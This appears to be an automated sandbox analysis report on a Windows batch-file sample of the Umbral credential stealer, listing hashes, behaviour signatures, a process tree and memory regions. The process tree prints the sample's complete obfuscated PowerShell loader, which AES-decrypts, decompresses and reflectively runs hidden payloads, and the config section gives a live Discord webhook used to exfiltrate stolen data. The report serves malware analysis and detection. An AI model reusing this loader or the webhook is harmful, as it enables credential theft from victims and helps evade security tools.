Analysis

  • max time kernel
    144s
  • max time network
    110s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-10-2024 09:06

General

  • Target

    Umbral.bat

  • Size

    468KB

  • MD5

    50c1619dde4c59211f2220d19fd7a2ff

  • SHA1

    f89a90307b00ff0bd2733642ea43427bc304c730

  • SHA256

    b99eb432b5d440a41faf8ed09c3df4ff0cf82ca13fefed8c2cb56ca96960ab4d

  • SHA512

    ed591a3357cc3e3487b708f2e08a74683c93d5e5e16d1978f90f4dc37b77f147bb36ba3cb55318d146c0831f7636baa22006b6c9960db3e8a72dbdc798efb627

  • SSDEEP

    12288:7WdGCJGwwo92cPLI0O8JtFDUB9PvBxdCAI2hlojjF9xq:SNswwxcjJngP3PdCVuM9xq

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1289565581565104128/6_mwv0w1S5A0l9XLPkwW6UmUZxdAw3mP7dh5lsWmFsgqgu5kJGEszt1-zAw_BajgNh6i

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Modifies registry class 22 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:796
    • C:\Windows\system32\wbem\wmiprvse.exe
      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
      2⤵
        PID:932
      • C:\Windows\system32\backgroundTaskHost.exe
        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
        2⤵
          PID:3172
        • C:\Windows\system32\backgroundTaskHost.exe
          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
          2⤵
            PID:8
          • C:\Windows\system32\BackgroundTransferHost.exe
            "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
            2⤵
              PID:2456
            • C:\Windows\system32\backgroundTaskHost.exe
              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
              2⤵
                PID:1972
              • C:\Windows\System32\RuntimeBroker.exe
                C:\Windows\System32\RuntimeBroker.exe -Embedding
                2⤵
                  PID:5036
                • C:\Windows\system32\DllHost.exe
                  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                  2⤵
                    PID:1252
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k RPCSS -p
                  1⤵
                    PID:904
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                    1⤵
                      PID:952
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                      1⤵
                        PID:720
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                        1⤵
                          PID:948
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                          1⤵
                            PID:1012
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                            1⤵
                              PID:1120
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                              1⤵
                                PID:1144
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                1⤵
                                  PID:1160
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                  1⤵
                                    PID:1184
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                    1⤵
                                      PID:1292
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                      1⤵
                                        PID:1300
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                        1⤵
                                          PID:1308
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                          1⤵
                                            PID:1420
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                            1⤵
                                              PID:1500
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                              1⤵
                                                PID:1524
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                1⤵
                                                  PID:1532
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                  1⤵
                                                    PID:1652
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                    1⤵
                                                      PID:1716
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                      1⤵
                                                        PID:1748
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                        1⤵
                                                          PID:1764
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                          1⤵
                                                            PID:1828
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                            1⤵
                                                              PID:1880
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                              1⤵
                                                                PID:1892
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                1⤵
                                                                  PID:1976
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                  1⤵
                                                                    PID:1988
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                                    1⤵
                                                                      PID:2064
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                      1⤵
                                                                        PID:2076
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                        1⤵
                                                                          PID:2232
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                          1⤵
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:2304
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                          1⤵
                                                                            PID:2392
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                            1⤵
                                                                              PID:2400
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                              1⤵
                                                                                PID:2556
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                                1⤵
                                                                                • Drops file in System32 directory
                                                                                • Modifies data under HKEY_USERS
                                                                                PID:2680
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                1⤵
                                                                                  PID:2764
                                                                                • C:\Windows\System32\svchost.exe
                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                  1⤵
                                                                                    PID:2804
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                    1⤵
                                                                                      PID:2816
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                      1⤵
                                                                                        PID:2908
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                        1⤵
                                                                                          PID:3432
                                                                                        • C:\Windows\Explorer.EXE
                                                                                          C:\Windows\Explorer.EXE
                                                                                          1⤵
                                                                                          • Modifies registry class
                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                          PID:3520
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Umbral.bat"
                                                                                            2⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3672
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JBDmY5Rm32yFC2eFK/K6i05UDHc2UnMQkJErjy0URRw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hIqIhLZZ4mABnJftMk1zig=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LaItK=New-Object System.IO.MemoryStream(,$param_var); $BkPnB=New-Object System.IO.MemoryStream; $dqAwB=New-Object System.IO.Compression.GZipStream($LaItK, [IO.Compression.CompressionMode]::Decompress); $dqAwB.CopyTo($BkPnB); $dqAwB.Dispose(); $LaItK.Dispose(); $BkPnB.Dispose(); $BkPnB.ToArray();}function execute_function($param_var,$param2_var){ $aRoAH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GgeTI=$aRoAH.EntryPoint; $GgeTI.Invoke($null, $param2_var);}$cxvio = 'C:\Users\Admin\AppData\Local\Temp\Umbral.bat';$host.UI.RawUI.WindowTitle = $cxvio;$jncrM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cxvio).Split([Environment]::NewLine);foreach ($EHnfk in $jncrM) { if ($EHnfk.StartsWith('qqYQzFlhLQoZwGnqjKHD')) { $uHvVU=$EHnfk.Substring(20); break; }}$payloads_var=[string[]]$uHvVU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                              3⤵
                                                                                                PID:384
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                3⤵
                                                                                                • Blocklisted process makes network request
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:2960
                                                                                                • C:\Windows\System32\Wbem\wmic.exe
                                                                                                  "wmic.exe" csproduct get uuid
                                                                                                  4⤵
                                                                                                    PID:5064
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                              1⤵
                                                                                                PID:3660
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                1⤵
                                                                                                  PID:4952
                                                                                                • C:\Windows\System32\svchost.exe
                                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                  1⤵
                                                                                                    PID:1032
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                    1⤵
                                                                                                      PID:1556
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                      1⤵
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      PID:4884
                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                      1⤵
                                                                                                        PID:2708
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                        1⤵
                                                                                                          PID:3540

                                                                                                        Network

                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                        Replay Monitor

                                                                                                        Loading Replay Monitor...

                                                                                                        Downloads

                                                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_suiqo4zi.0yh.ps1

                                                                                                          Filesize

                                                                                                          60B

                                                                                                          MD5

                                                                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                                                                          SHA1

                                                                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                          SHA256

                                                                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                          SHA512

                                                                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                        • memory/1012-79-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1120-69-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1292-76-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1524-74-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1652-77-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1716-75-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1764-73-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/1892-65-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/2232-66-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/2392-67-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/2400-78-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/2556-71-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/2764-80-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/2960-15-0x000002CB6FC60000-0x000002CB6FC68000-memory.dmp

                                                                                                          Filesize

                                                                                                          32KB

                                                                                                        • memory/2960-13-0x000002CB6FC80000-0x000002CB6FCC4000-memory.dmp

                                                                                                          Filesize

                                                                                                          272KB

                                                                                                        • memory/2960-116-0x00007FFE10540000-0x00007FFE11001000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/2960-16-0x000002CB6FE20000-0x000002CB6FE7A000-memory.dmp

                                                                                                          Filesize

                                                                                                          360KB

                                                                                                        • memory/2960-115-0x00007FFE10543000-0x00007FFE10545000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/2960-0-0x00007FFE10543000-0x00007FFE10545000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/2960-112-0x000002CB6FF20000-0x000002CB6FF60000-memory.dmp

                                                                                                          Filesize

                                                                                                          256KB

                                                                                                        • memory/2960-14-0x000002CB6FEA0000-0x000002CB6FF16000-memory.dmp

                                                                                                          Filesize

                                                                                                          472KB

                                                                                                        • memory/2960-99-0x00007FFE1E4D3000-0x00007FFE1E4D4000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/2960-1-0x000002CB6FA00000-0x000002CB6FA22000-memory.dmp

                                                                                                          Filesize

                                                                                                          136KB

                                                                                                        • memory/2960-12-0x00007FFE10540000-0x00007FFE11001000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/2960-11-0x00007FFE10540000-0x00007FFE11001000-memory.dmp

                                                                                                          Filesize

                                                                                                          10.8MB

                                                                                                        • memory/3520-64-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/3520-17-0x00000000026D0000-0x00000000026FA000-memory.dmp

                                                                                                          Filesize

                                                                                                          168KB

                                                                                                        • memory/3540-72-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/3660-70-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB

                                                                                                        • memory/4884-68-0x00007FFDEEDB0000-0x00007FFDEEDC0000-memory.dmp

                                                                                                          Filesize

                                                                                                          64KB